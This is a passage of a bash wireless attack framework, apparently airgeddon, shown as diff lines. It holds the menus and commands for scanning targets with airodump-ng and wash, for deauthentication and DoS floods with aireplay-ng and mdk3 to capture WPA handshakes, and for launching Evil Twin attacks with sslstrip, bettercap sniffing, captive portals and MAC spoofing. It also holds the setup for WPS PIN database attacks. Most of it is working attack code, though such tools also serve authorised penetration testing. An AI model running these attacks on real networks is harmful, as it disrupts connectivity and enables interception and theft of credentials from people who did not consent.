]; then + pathname="${1}/" + else + pathname="${1}" + fi + + case ${2} in + "handshake") + enteredpath="${pathname}${standardhandshake_filename}" + suggested_filename="${standardhandshake_filename}" + ;; + "hashcatpot") + suggested_filename="${hashcatpot_filename}" + potenteredpath+="${hashcatpot_filename}" + ;; + "ettercaplog") + suggested_filename="${default_ettercaplogfilename}" + ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" + ;; + "bettercaplog") + suggested_filename="${default_bettercaplogfilename}" + bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" + ;; + "writeethandshake") + et_handshake="${pathname}${standardhandshake_filename}" + suggested_filename="${standardhandshake_filename}" + ;; + esac + + echo + language_strings "${language}" 155 "yellow" + return 0 + fi + + language_strings "${language}" 158 "yellow" + return 0 +} + +#Check for write permissions on a given path +function check_write_permissions() { + + debug_print + + if [ -w "${1}" ]; then + return 0 + fi + return 1 +} + +#Create a var with the name passed to the function and reading the value from the user input +function read_and_clean_path() { + + debug_print + + settings="$(shopt -p extglob)" + shopt -s extglob + + read -r var + local regexp='^[ '"'"']*(.*[^ '"'"'])[ '"'"']*$' + [[ ${var} =~ ${regexp} ]] && var="${BASH_REMATCH[1]}" + eval "${1}=\$var" + + eval "${settings}" +} + +#Read and validate a path +function read_path() { + + debug_print + + echo + case ${1} in + "handshake") + language_strings "${language}" 148 "green" + read_and_clean_path "enteredpath" + if [ -z "${enteredpath}" ]; then + enteredpath="${handshakepath}" + fi + validate_path "${enteredpath}" "${1}" + ;; + "cleanhandshake") + language_strings "${language}" 154 "green" + read_and_clean_path "filetoclean" + check_file_exists "${filetoclean}" + ;; + "dictionary") + language_strings "${language}" 180 "green" + read_and_clean_path "DICTIONARY" + check_file_exists "${DICTIONARY}" + ;; + "targetfilefordecrypt") + language_strings "${language}" 188 "green" + read_and_clean_path "enteredpath" + check_file_exists "${enteredpath}" + ;; + "rules") + language_strings "${language}" 242 "green" + read_and_clean_path "RULES" + check_file_exists "${RULES}" + ;; + "hashcatpot") + language_strings "${language}" 233 "green" + read_and_clean_path "potenteredpath" + if [ -z "${potenteredpath}" ]; then + potenteredpath="${hashcat_potpath}" + fi + validate_path "${potenteredpath}" "${1}" + ;; + "ettercaplog") + language_strings "${language}" 303 "green" + read_and_clean_path "ettercap_logpath" + if [ -z "${ettercap_logpath}" ]; then + ettercap_logpath="${default_ettercap_logpath}" + fi + validate_path "${ettercap_logpath}" "${1}" + ;; + "bettercaplog") + language_strings "${language}" 398 "green" + read_and_clean_path "bettercap_logpath" + if [ -z "${bettercap_logpath}" ]; then + bettercap_logpath="${default_bettercap_logpath}" + fi + validate_path "${bettercap_logpath}" "${1}" + ;; + "ethandshake") + language_strings "${language}" 154 "green" + read_and_clean_path "et_handshake" + check_file_exists "${et_handshake}" + ;; + "writeethandshake") + language_strings "${language}" 148 "green" + read_and_clean_path "et_handshake" + if [ -z "${et_handshake}" ]; then + et_handshake="${handshakepath}" + fi + validate_path "${et_handshake}" "${1}" + ;; + "et_captive_portallog") + language_strings "${language}" 317 "blue" + read_and_clean_path "et_captive_portal_logpath" + if [ -z "${et_captive_portal_logpath}" ]; then + et_captive_portal_logpath="${default_et_captive_portal_logpath}" + fi + validate_path "${et_captive_portal_logpath}" "${1}" + ;; + esac + + validpath="$?" + return "${validpath}" +} + +#Launch the DoS selection menu before capture a Handshake and process the captured file +function attack_handshake_menu() { + + debug_print + + if [ "${1}" = "handshake" ]; then + ask_yesno 145 + handshake_captured=${yesno} + kill "${processidcapture}" &> /dev/null + if [ "${handshake_captured}" = "y" ]; then + + handshakepath="${default_save_path}" + lastcharhandshakepath=${handshakepath: -1} + if [ "${lastcharhandshakepath}" != "/" ]; then + handshakepath="${handshakepath}/" + fi + handshakefilename="handshake-${bssid}.cap" + handshakepath="${handshakepath}${handshakefilename}" + + language_strings "${language}" 162 "yellow" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "handshake" + done + + cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}" + echo + language_strings "${language}" 149 "blue" + language_strings "${language}" 115 "read" + return + else + echo + language_strings "${language}" 146 "red" + language_strings "${language}" 115 "read" + fi + fi + + clear + language_strings "${language}" 138 "title" + current_menu="attack_handshake_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 139 mdk3_attack_dependencies[@] + language_strings "${language}" 140 aireplay_attack_dependencies[@] + language_strings "${language}" 141 mdk3_attack_dependencies[@] + print_simple_separator + language_strings "${language}" 147 + print_hint ${current_menu} + + read -r attack_handshake_option + case ${attack_handshake_option} in + 1) + contains_element "${attack_handshake_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + attack_handshake_menu "new" + else + capture_handshake_window + rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 + echo "${bssid}" > "${tmpdir}bl.txt" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + sleeptimeattack=12 + fi + ;; + 2) + contains_element "${attack_handshake_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + attack_handshake_menu "new" + else + capture_handshake_window + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + sleeptimeattack=12 + fi + ;; + 3) + contains_element "${attack_handshake_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + attack_handshake_menu "new" + else + capture_handshake_window + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + sleeptimeattack=16 + fi + ;; + 4) + return + ;; + *) + invalid_menu_option + attack_handshake_menu "new" + ;; + esac + + processidattack=$! + sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + + attack_handshake_menu "handshake" +} + +#Launch the Handshake capture window +function capture_handshake_window() { + + debug_print + + language_strings "${language}" 143 "blue" + echo + language_strings "${language}" 144 "yellow" + language_strings "${language}" 115 "read" + echo + language_strings "${language}" 325 "blue" + + rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topright_window}" -T "Capturing Handshake" -e airodump-ng -c "${channel}" -d "${bssid}" -w "${tmpdir}handshake" "${interface}" > /dev/null 2>&1 & + processidcapture=$! +} + +#Manage target exploration and parse the output files +function explore_for_targets_option() { + + debug_print + + echo + language_strings "${language}" 103 "title" + language_strings "${language}" 65 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return 1 + fi + + echo + language_strings "${language}" 66 "yellow" + echo + language_strings "${language}" 67 "yellow" + language_strings "${language}" 115 "read" + + tmpfiles_toclean=1 + rm -rf "${tmpdir}nws"* > /dev/null 2>&1 + rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" "${interface}" > /dev/null 2>&1 + targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") + targetline=$((targetline - 1)) + + head -n "${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}nws.csv" + tail -n +"${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}clts.csv" + + csvline=$(wc -l "${tmpdir}nws.csv" 2> /dev/null | awk '{print $1}') + if [ "${csvline}" -le 3 ]; then + echo + language_strings "${language}" 68 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + rm -rf "${tmpdir}nws.txt" > /dev/null 2>&1 + rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 + i=0 + while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ _ exp_power _ _ _ exp_idlength exp_essid _; do + + chars_mac=${#exp_mac} + if [ "${chars_mac}" -ge 17 ]; then + i=$((i+1)) + if [[ ${exp_power} -lt 0 ]]; then + if [[ ${exp_power} -eq -1 ]]; then + exp_power=0 + else + exp_power=$((exp_power + 100)) + fi + fi + + exp_power=$(echo "${exp_power}" | awk '{gsub(/ /,""); print}') + exp_essid=${exp_essid:1:${exp_idlength}} + if [[ "${exp_channel}" -gt 14 ]] || [[ "${exp_channel}" -lt 1 ]]; then + exp_channel=0 + else + exp_channel=$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}') + fi + + if [[ "${exp_essid}" = "" ]] || [[ "${exp_channel}" = "-1" ]]; then + exp_essid="(Hidden Network)" + fi + + exp_enc=$(echo "${exp_enc}" | awk '{print $1}') + + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + fi + done < "${tmpdir}nws.csv" + sort -t "," -d -k 4 "${tmpdir}nws.txt" > "${tmpdir}wnws.txt" + select_target +} + +#Manage target exploration only for Access Points with WPS activated. Parse output files and print menu with results +function explore_for_wps_targets_option() { + + debug_print + + echo + language_strings "${language}" 103 "title" + language_strings "${language}" 65 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return 1 + fi + + echo + language_strings "${language}" 66 "yellow" + echo + if ! grep -qe "${interface}" <(echo "${!wash_ifaces_already_set[@]}"); then + language_strings "${language}" 353 "blue" + set_wash_parameterization + language_strings "${language}" 354 "yellow" + else + language_strings "${language}" 355 "blue" + fi + echo + language_strings "${language}" 67 "yellow" + language_strings "${language}" 115 "read" + + tmpfiles_toclean=1 + rm -rf "${tmpdir}wps"* > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 + + readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) + + wash_header_found=0 + wash_line_counter=1 + for item in "${WASH_PREVIEW[@]}"; do + if [[ ${item} =~ -{20} ]]; then + wash_start_data_line="${wash_line_counter}" + wash_header_found=1 + break + else + wash_line_counter=$((wash_line_counter+1)) + fi + done + + if [ "${wash_header_found}" -eq 0 ]; then + echo + language_strings "${language}" 417 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}') + if [ "${washlines}" -le ${wash_start_data_line} ]; then + echo + language_strings "${language}" 68 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + clear + language_strings "${language}" 104 "title" + echo + language_strings "${language}" 349 "green" + print_large_separator + + i=0 + wash_counter=0 + declare -A wps_lockeds + wps_lockeds[${wash_counter}]="No" + while IFS=, read -r expwps_line; do + + i=$((i+1)) + + if [ ${i} -le ${wash_start_data_line} ]; then + continue + else + wash_counter=$((wash_counter+1)) + + if [ ${wash_counter} -le 9 ]; then + wpssp1=" " + else + wpssp1="" + fi + + expwps_bssid=$(echo "${expwps_line}" | awk '{print $1}') + expwps_channel=$(echo "${expwps_line}" | awk '{print $2}') + expwps_power=$(echo "${expwps_line}" | awk '{print $3}') + expwps_locked=$(echo "${expwps_line}" | awk '{print $5}') + expwps_essid=$(echo "${expwps_line}" | awk '{$1=$2=$3=$4=$5=""; print $0}' | sed -e 's/^[ \t]*//') + + if [[ ${expwps_channel} -le 9 ]]; then + wpssp2=" " + if [[ ${expwps_channel} -eq 0 ]]; then + expwps_channel="-" + fi + else + wpssp2="" + fi + + if [[ "${expwps_power}" = "" ]] || [[ "${expwps_power}" = "-00" ]]; then + expwps_power=0 + fi + + if [[ ${expwps_power} =~ ^-0 ]]; then + expwps_power=${expwps_power//0/} + fi + + if [[ ${expwps_power} -lt 0 ]]; then + if [[ ${expwps_power} -eq -1 ]]; then + exp_power=0 + else + expwps_power=$((expwps_power + 100)) + fi + fi + + if [[ ${expwps_power} -le 9 ]]; then + wpssp4=" " + else + wpssp4="" + fi + + wash_color="${normal_color}" + if [ "${expwps_locked}" = "Yes" ]; then + wash_color="${red_color}" + wpssp3="" + else + wpssp3=" " + fi + + wps_network_names[$wash_counter]=${expwps_essid} + wps_channels[$wash_counter]=${expwps_channel} + wps_macs[$wash_counter]=${expwps_bssid} + wps_lockeds[$wash_counter]=${expwps_locked} + echo -e "${wash_color} ${wpssp1}${wash_counter}) ${expwps_bssid} ${wpssp2}${expwps_channel} ${wpssp4}${expwps_power}% ${expwps_locked}${wpssp3} ${expwps_essid}" + fi + done < "${tmpdir}wps.txt" + + echo + if [ ${wash_counter} -eq 1 ]; then + language_strings "${language}" 70 "yellow" + selected_wps_target_network=1 + language_strings "${language}" 115 "read" + else + print_large_separator + language_strings "${language}" 3 "green" + read -r selected_wps_target_network + fi + + while [[ ${selected_wps_target_network} -lt 1 ]] || [[ ${selected_wps_target_network} -gt ${wash_counter} ]] || [[ ${wps_lockeds[${selected_wps_target_network}]} = "Yes" ]]; do + + if [[ ${selected_wps_target_network} -ge 1 ]] && [[ ${selected_wps_target_network} -le ${wash_counter} ]]; then + if [ "${wps_lockeds[${selected_wps_target_network}]}" = "Yes" ]; then + ask_yesno 350 + if [ ${yesno} = "y" ]; then + break + else + echo + language_strings "${language}" 3 "green" + read -r selected_wps_target_network + continue + fi + fi + fi + + echo + language_strings "${language}" 72 "red" + echo + language_strings "${language}" 3 "green" + read -r selected_wps_target_network + done + + wps_essid=${wps_network_names[${selected_wps_target_network}]} + wps_channel=${wps_channels[${selected_wps_target_network}]} + wps_bssid=${wps_macs[${selected_wps_target_network}]} + wps_locked=${wps_lockeds[${selected_wps_target_network}]} +} + +#Create a menu to select target from the parsed data +function select_target() { + + debug_print + + clear + language_strings "${language}" 104 "title" + echo + language_strings "${language}" 69 "green" + print_large_separator + i=0 + while IFS=, read -r exp_mac exp_channel exp_power exp_essid exp_enc; do + + i=$((i+1)) + + if [ ${i} -le 9 ]; then + sp1=" " + else + sp1="" + fi + + if [[ ${exp_channel} -le 9 ]]; then + sp2=" " + if [[ ${exp_channel} -eq 0 ]]; then + exp_channel="-" + fi + else + sp2="" + fi + + if [[ "${exp_power}" = "" ]]; then + exp_power=0 + fi + + if [[ ${exp_power} -le 9 ]]; then + sp4=" " + else + sp4="" + fi + + airodump_color="${normal_color}" + client=$(grep "${exp_mac}" < "${tmpdir}clts.csv") + if [ "${client}" != "" ]; then + airodump_color="${yellow_color}" + client="*" + sp5="" + else + sp5=" " + fi + + enc_length=${#exp_enc} + if [ "${enc_length}" -gt 3 ]; then + sp6="" + elif [ "${enc_length}" -eq 0 ]; then + sp6=" " + else + sp6=" " + fi + + network_names[$i]=${exp_essid} + channels[$i]=${exp_channel} + macs[$i]=${exp_mac} + encs[$i]=${exp_enc} + echo -e "${airodump_color} ${sp1}${i})${client} ${sp5}${exp_mac} ${sp2}${exp_channel} ${sp4}${exp_power}% ${exp_enc}${sp6} ${exp_essid}" + done < "${tmpdir}wnws.txt" + + echo + if [ ${i} -eq 1 ]; then + language_strings "${language}" 70 "yellow" + selected_target_network=1 + language_strings "${language}" 115 "read" + else + language_strings "${language}" 71 "yellow" + print_large_separator + language_strings "${language}" 3 "green" + read -r selected_target_network + fi + + while [[ ${selected_target_network} -lt 1 ]] || [[ ${selected_target_network} -gt ${i} ]]; do + echo + language_strings "${language}" 72 "red" + echo + language_strings "${language}" 3 "green" + read -r selected_target_network + done + + essid=${network_names[${selected_target_network}]} + channel=${channels[${selected_target_network}]} + bssid=${macs[${selected_target_network}]} + enc=${encs[${selected_target_network}]} +} + +#Perform a test to determine if fcs parameter is needed on wash scanning +function set_wash_parameterization() { + + debug_print + + fcs="" + declare -gA wash_ifaces_already_set + readarray -t WASH_OUTPUT < <(timeout -s SIGTERM 2 wash -i "${interface}" 2> /dev/null) + + for item in "${WASH_OUTPUT[@]}"; do + if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then + fcs="-C" + break + fi + done + + wash_ifaces_already_set[${interface}]=${fcs} +} + +#Manage and validate the prerequisites for wps pin database attacks +function wps_pin_database_prerequisites() { + + debug_print + + set_wps_mac_parameters + + #shellcheck source=./known_pins.db + source "${scriptfolder}${known_pins_dbfile}" + + echo + language_strings "${language}" 384 "blue" + echo + search_in_pin_database + if [ ${bssid_found_in_db} -eq 1 ]; then + if [ ${counter_pins_found} -eq 1 ]; then + language_strings "${language}" 385 "yellow" + else + language_strings "${language}" 386 "yellow" + fi + else + language_strings "${language}" 387 "yellow" + fi + + check_and_set_common_algorithms + echo + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" +} + +#Manage and validate the prerequisites for Evil Twin attacks +function et_prerequisites() { + + debug_print + + if [ ${retry_handshake_capture} -eq 1 ]; then + return + fi + + current_menu="evil_twin_attacks_menu" + clear + + case ${et_mode} in + "et_onlyap") + language_strings "${language}" 270 "title" + ;; + "et_sniffing") + language_strings "${language}" 291 "title" + ;; + "et_sniffing_sslstrip") + language_strings "${language}" 292 "title" + ;; + "et_sniffing_sslstrip2") + language_strings "${language}" 397 "title" + ;; + "et_captive_portal") + language_strings "${language}" 293 "title" + ;; + esac + + print_iface_selected + print_et_target_vars + print_iface_internet_selected + print_hint ${current_menu} + echo + + if [ "${et_mode}" != "et_captive_portal" ]; then + language_strings "${language}" 275 "blue" + echo + language_strings "${language}" 276 "yellow" + print_simple_separator + ask_yesno 277 + if [ ${yesno} = "n" ]; then + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + return + fi + fi + + ask_yesno 419 + if [ ${yesno} = "y" ]; then + mac_spoofing_desired=1 + fi + + if [ "${et_mode}" = "et_captive_portal" ]; then + + language_strings "${language}" 315 "yellow" + echo + language_strings "${language}" 286 "pink" + print_simple_separator + if [ ${retrying_handshake_capture} -eq 0 ]; then + ask_yesno 321 + fi + + if [[ ${yesno} = "n" ]] || [[ ${retrying_handshake_capture} -eq 1 ]]; then + capture_handshake_evil_twin + case "$?" in + "2") + retry_handshake_capture=1 + return + ;; + "1") + return_to_et_main_menu=1 + return + ;; + esac + else + ask_et_handshake_file + fi + retry_handshake_capture=0 + retrying_handshake_capture=0 + internet_interface_selected=0 + + check_bssid_in_captured_file "${et_handshake}" + if [ "$?" != "0" ]; then + return_to_et_main_menu=1 + return + fi + + echo + language_strings "${language}" 28 "blue" + + echo + language_strings "${language}" 26 "blue" + + echo + language_strings "${language}" 31 "blue" + else + ask_bssid + ask_channel + ask_essid + fi + + if [[ "${et_mode}" = "et_sniffing" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip" ]]; then + manage_ettercap_log + elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then + manage_bettercap_log + elif [ "${et_mode}" = "et_captive_portal" ]; then + manage_captive_portal_log + language_strings "${language}" 115 "read" + set_captive_portal_language + language_strings "${language}" 319 "blue" + fi + + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + + if [ "${is_docker}" -eq 1 ]; then + echo + language_strings "${language}" 420 "pink" + language_strings "${language}" 115 "read" + fi + + echo + language_strings "${language}" 296 "yellow" + language_strings "${language}" 115 "read" + prepare_et_interface + + case ${et_mode} in + "et_onlyap") + exec_et_onlyap_attack + ;; + "et_sniffing") + exec_et_sniffing_attack + ;; + "et_sniffing_sslstrip") + exec_et_sniffing_sslstrip_attack + ;; + "et_sniffing_sslstrip2") + exec_et_sniffing_sslstrip2_attack + ;; + "et_captive_portal") + exec_et_captive_portal_attack + ;; + esac +} + +#Manage the Handshake file requirement for captive portal Evil Twin attack +function ask_et_handshake_file() { + + debug_print + + echo + readpath=0 + + if [[ -z "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then + language_strings "${language}" 312 "blue" + readpath=1 + elif [[ -z "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then + language_strings "${language}" 313 "blue" + ask_yesno 187 + if [ ${yesno} = "n" ]; then + readpath=1 + fi + elif [[ -n "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then + language_strings "${language}" 151 "blue" + ask_yesno 187 + if [ ${yesno} = "y" ]; then + et_handshake="${enteredpath}" + else + readpath=1 + fi + elif [[ -n "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then + language_strings "${language}" 313 "blue" + ask_yesno 187 + if [ ${yesno} = "n" ]; then + readpath=1 + fi + fi + + if [ ${readpath} -eq 1 ]; then + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "ethandshake" + done + fi +} + +#DoS Evil Twin attacks menu +function et_dos_menu() { + + debug_print + + if [ ${return_to_et_main_menu} -eq 1 ]; then + return + fi + + clear + language_strings "${language}" 265 "title" + current_menu="et_dos_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 139 mdk3_attack_dependencies[@] + language_strings "${language}" 140 aireplay_attack_dependencies[@] + language_strings "${language}" 141 mdk3_attack_dependencies[@] + print_simple_separator + language_strings "${language}" 266 + print_hint ${current_menu} + + read -r et_dos_option + case ${et_dos_option} in + 1) + contains_element "${et_dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Mdk3" + if [ "${et_mode}" = "et_captive_portal" ]; then + if [ ${internet_interface_selected} -eq 0 ]; then + language_strings "${language}" 330 "blue" + ask_yesno 326 + if [ ${yesno} = "n" ]; then + check_et_without_internet_compatibility + if [ "$?" = "0" ]; then + captive_portal_mode="dnsblackhole" + internet_interface_selected=1 + echo + language_strings "${language}" 329 "yellow" + language_strings "${language}" 115 "read" + et_prerequisites + else + echo + language_strings "${language}" 327 "red" + language_strings "${language}" 115 "read" + return_to_et_main_menu=1 + return + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + else + et_prerequisites + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + fi + ;; + 2) + contains_element "${et_dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Aireplay" + if [ "${et_mode}" = "et_captive_portal" ]; then + if [ ${internet_interface_selected} -eq 0 ]; then + language_strings "${language}" 330 "blue" + ask_yesno 326 + if [ ${yesno} = "n" ]; then + check_et_without_internet_compatibility + if [ "$?" = "0" ]; then + captive_portal_mode="dnsblackhole" + internet_interface_selected=1 + echo + language_strings "${language}" 329 "yellow" + language_strings "${language}" 115 "read" + et_prerequisites + else + echo + language_strings "${language}" 327 "red" + language_strings "${language}" 115 "read" + return_to_et_main_menu=1 + return + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + else + et_prerequisites + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + fi + ;; + 3) + contains_element "${et_dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Wds Confusion" + if [ "${et_mode}" = "et_captive_portal" ]; then + if [ ${internet_interface_selected} -eq 0 ]; then + language_strings "${language}" 330 "blue" + ask_yesno 326 + if [ ${yesno} = "n" ]; then + check_et_without_internet_compatibility + if [ "$?" = "0" ]; then + captive_portal_mode="dnsblackhole" + internet_interface_selected=1 + echo + language_strings "${language}" 329 "yellow" + language_strings "${language}" 115 "read" + et_prerequisites + else + echo + language_strings "${language}" 327 "red" + language_strings "${language}" 115 "read" + return_to_et_main_menu=1 + return + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + else + et_prerequisites + fi + else + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi + fi + ;; + 4) + return_to_et_main_menu_from_beef=1 + return + ;; + *) + invalid_menu_option + ;; + esac + + et_dos_menu +} + +#Selected internet interface detection +function detect_internet_interface() { + + debug_print + + if [ ${internet_interface_selected} -eq 1 ]; then + return 0 + fi + + if [ -n "${internet_interface}" ]; then + echo + language_strings "${language}" 285 "blue" + ask_yesno 284 + if [ ${yesno} = "n" ]; then + select_internet_interface + fi + else + select_internet_interface + fi + + if [ "$?" != "0" ]; then + return 1 + fi + + validate_et_internet_interface + return $? +} + +#Show about and credits +function credits_option() { + + debug_print + + clear + language_strings "${language}" 105 "title" + language_strings "${language}" 74 "pink" + echo + language_strings "${language}" 73 "blue" + echo + echo -e "${green_color} .-\"\"\"\"-." + sleep 0.15 && echo -e " / \ " + sleep 0.15 && echo -e "${yellow_color} ____ ____ __ _______ ${green_color} /_ _\ " + sleep 0.15 && echo -e "${yellow_color} ___ _/_ | _____/_ |/ |_ \ _ \_______ ${green_color} // \ / \\\\\ " + sleep 0.15 && echo -e "${yellow_color} \ \/ /| |/ ___/| \ __\/ /_\ \_ __ \ ${green_color} |\__\ /__/|" + sleep 0.15 && echo -e "${yellow_color} \ / | |\___ \ | || | \ \_/ \ | \/ ${green_color} \ || /" + sleep 0.15 && echo -e "${yellow_color} \_/ |___/____ >|___||__| \_____ /__| ${green_color} \ /" + sleep 0.15 && echo -e "${yellow_color} \/ \/ ${green_color} \ __ / " + sleep 0.15 && echo -e " '.__.'" + sleep 0.15 && echo -e " | |${normal_color}" + echo + language_strings "${language}" 75 "blue" + echo + language_strings "${language}" 85 "pink" + language_strings "${language}" 107 "pink" + language_strings "${language}" 421 "pink" + echo + language_strings "${language}" 115 "read" +} + +#Show message for invalid selected language +function invalid_language_selected() { + + debug_print + + echo + language_strings "${language}" 82 "red" + echo + language_strings "${language}" 115 "read" + echo + language_menu +} + +#Show message for captive portal invalid selected language +function invalid_captive_portal_language_selected() { + + debug_print + + language_strings "${language}" 82 "red" + echo + language_strings "${language}" 115 "read" + set_captive_portal_language +} + +#Show message for forbidden selected option +function forbidden_menu_option() { + + debug_print + + echo + language_strings "${language}" 220 "red" + language_strings "${language}" 115 "read" +} + +#Show message for invalid selected option +function invalid_menu_option() { + + debug_print + + echo + language_strings "${language}" 76 "red" + language_strings "${language}" 115 "read" +} + +#Show message for invalid selected interface +function invalid_iface_selected() { + + debug_print + + echo + language_strings "${language}" 77 "red" + echo + language_strings "${language}" 115 "read" + echo + select_interface +} + +#Show message for invalid selected internet interface +function invalid_internet_iface_selected() { + + debug_print + + echo + language_strings "${language}" 77 "red" + echo + language_strings "${language}" 115 "read" + echo + select_internet_interface +} + +#Manage behavior of captured traps +function capture_traps() { + + debug_print + + if [ "${FUNCNAME[1]}" != "check_language_strings" ]; then + case "${1}" in + INT|SIGTSTP) + case ${current_menu} in + "pre_main_menu"|"select_interface_menu") + exit_code=1 + exit_script_option + ;; + *) + ask_yesno 12 + if [ ${yesno} = "y" ]; then + exit_code=1 + exit_script_option + else + language_strings "${language}" 224 "blue" + if [ "${last_buffered_type1}" = "read" ]; then + language_strings "${language}" "${last_buffered_message2}" "${last_buffered_type2}" + else + language_strings "${language}" "${last_buffered_message1}" "${last_buffered_type1}" + fi + fi + ;; + esac + ;; + SIGINT|SIGHUP) + hardcore_exit + ;; + esac + else + echo + hardcore_exit + fi +} + +#Exit the script managing possible pending tasks +function exit_script_option() { + + debug_print + + action_on_exit_taken=0 + echo + language_strings "${language}" 106 "title" + language_strings "${language}" 11 "blue" + + echo + language_strings "${language}" 165 "blue" + + if [ "${ifacemode}" = "Monitor" ]; then + ask_yesno 166 + if [ ${yesno} = "n" ]; then + action_on_exit_taken=1 + language_strings "${language}" 167 "multiline" + ${airmon} stop "${interface}" > /dev/null 2>&1 + ifacemode="Managed" + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + fi + + if [ ${nm_processes_killed} -eq 1 ]; then + action_on_exit_taken=1 + language_strings "${language}" 168 "multiline" + eval "${networkmanager_cmd} > /dev/null 2>&1" + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + + if [ ${tmpfiles_toclean} -eq 1 ]; then + action_on_exit_taken=1 + language_strings "${language}" 164 "multiline" + clean_tmpfiles + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + + if [ ${routing_toclean} -eq 1 ]; then + action_on_exit_taken=1 + language_strings "${language}" 297 "multiline" + clean_routing_rules + killall dhcpd > /dev/null 2>&1 + killall hostapd > /dev/null 2>&1 + killall lighttpd > /dev/null 2>&1 + kill_beef + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + + if [[ ${spoofed_mac} -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then + language_strings "${language}" 418 "multiline" + restore_spoofed_macs + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + + if [ ${action_on_exit_taken} -eq 0 ]; then + language_strings "${language}" 160 "yellow" + fi + + echo + exit ${exit_code} +} + +#Exit the script managing possible pending tasks but not showing anything +function hardcore_exit() { + + debug_print + + exit_code=2 + if [ "${ifacemode}" = "Monitor" ]; then + ${airmon} stop "${interface}" > /dev/null 2>&1 + ifacemode="Managed" + fi + + if [ ${nm_processes_killed} -eq 1 ]; then + eval "${networkmanager_cmd} > /dev/null 2>&1" + fi + + if [ ${tmpfiles_toclean} -eq 1 ]; then + clean_tmpfiles + fi + + if [ ${routing_toclean} -eq 1 ]; then + clean_routing_rules + killall dhcpd > /dev/null 2>&1 + killall hostapd > /dev/null 2>&1 + killall lighttpd > /dev/null 2>&1 + kill_beef + fi + + if [[ ${spoofed_mac} -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then + language_strings "${language}" 418 "multiline" + restore_spoofed_macs + time_loop + echo -e "${green_color} Ok\r${normal_color}" + fi + + exit ${exit_code} +} + +#Generate a small time 